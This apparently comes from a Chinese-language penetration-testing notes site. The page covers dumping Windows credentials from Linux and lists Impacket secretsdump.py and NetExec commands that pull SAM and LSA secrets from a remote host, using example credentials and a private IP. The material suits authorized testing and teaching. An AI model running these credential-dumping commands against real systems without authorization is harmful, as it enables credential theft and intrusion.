> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/credentials/extraction-from-linux.md).

# 从 Linux 中提取

### 使用 Impacket

如果你拥有具有必要权限的有效凭据，可以使用：

```bash
secretsdump.py user1:Password@172.16.0.10
```

此命令会尝试提取远程机器上可访问的机密信息。

<figure><img src="/files/a0e7059a308ba35d96da3e23d4e467f6a938020e" alt=""><figcaption></figcaption></figure>

### 使用 NetExec / CrackMapExec

根据所使用的工具，该命令可以通过 `nxc`.

SAM 提取：

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --sam
```

<figure><img src="/files/c1cc435e5f236f9592480c799eaf60154320fe4f" alt=""><figcaption></figcaption></figure>

LSA 提取：

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --lsa
```

这些命令需要在目标机器上具备相应的权限。

<figure><img src="/files/982af913dd2f03c4d371c8c96779be663feba74c" alt=""><figcaption></figcaption></figure>


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